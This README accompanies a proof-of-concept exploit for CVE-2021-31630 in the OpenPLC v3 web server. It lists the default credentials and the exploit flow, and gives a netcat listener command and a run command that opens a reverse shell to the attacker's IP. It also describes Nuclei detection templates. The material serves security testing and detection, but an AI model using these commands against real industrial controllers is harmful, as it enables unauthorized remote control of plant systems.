OpenPLC v3 Authenticated RCE (CVE-2021-31630)

This is a modern Python 3.13+ compatible proof-of-concept exploit for CVE-2021-31630, a vulnerability in OpenPLC v3 that allows an authenticated user to upload a custom hardware layer containing malicious code, leading to remote code execution (RCE) on the host.

Original vulnerability discovery and advisory by Fellipe Oliveira. This reimplementation and modernization uses httpx, CLI tooling, logging, and safer detection techniques.

Exploit Overview

• Vulnerability: CVE-2021-31630
• Component: OpenPLC v3 Web Server
• Impact: Authenticated Remote Code Execution
• Default Credentials: openplc:openplc

Exploit Flow

1. Login using valid credentials
2. Upload malicious C code as a custom hardware layer
3. Trigger compilation
4. Trigger execution (optional)
5. Receive reverse shell connection

Usage

1. Start a listener:

nc -lvnp 9001

2. Run the exploit:

python3 openplc_rce.py http://target:8080 -lh YOUR_IP -lp 9001

Optional flags:

• -u Username (default: openplc)
• -p Password (default: openplc)
• -t Timeout in seconds (default: 20)

Features

• Compatible with Python 3.13+
• Built with httpx
• Logging support for clean output
• Modular functions for easier reuse
• Nuclei detection templates included

Nuclei Detection Templates

1. Default Credentials Check

nuclei -t nuclei-templates/openplc-default-login.yaml -u http://target:8080

2. Passive RCE Vulnerability Check

nuclei -t nuclei-templates/openplc-authenticated-rce-check.yaml -u http://target:8080

The second template logs in and attempts a harmless payload upload + compilation to confirm likely vulnerability — without triggering actual code execution.

Included Files

• OpenPLC_CVE_2021_31630.py – Python 3.13+ exploit
• nuclei-templates/openplc-default-login.yaml – Detect default creds
• nuclei-templates/openplc-authenticated-rce-check.yaml – Detect vulnerable behavior safely

⚠️ Legal / Ethics

This code is for educational and authorized security testing only. Do not use without explicit permission from the system owner.